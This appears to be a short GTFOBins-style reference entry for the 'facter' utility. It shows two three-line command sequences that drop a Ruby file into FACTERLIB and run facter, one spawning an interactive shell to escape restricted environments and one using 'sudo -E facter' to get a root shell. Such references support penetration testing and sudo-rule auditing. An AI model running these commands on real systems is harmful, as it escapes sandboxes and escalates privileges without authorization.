.. / facter

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• Shell
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• TF=$(mktemp -d)
  echo 'exec("/bin/sh")' > $TF/x.rb
  FACTERLIB=$TF facter

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• TF=$(mktemp -d)
  echo 'exec("/bin/sh")' > $TF/x.rb
  FACTERLIB=$TF sudo -E facter